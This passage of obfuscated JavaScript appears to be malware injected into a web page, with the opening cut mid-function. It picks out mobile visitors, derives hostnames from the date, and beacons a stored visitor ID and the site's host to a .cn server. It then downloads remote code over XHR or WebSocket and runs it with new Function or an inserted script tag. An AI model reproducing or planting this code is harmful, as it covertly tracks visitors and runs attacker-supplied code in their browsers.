t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};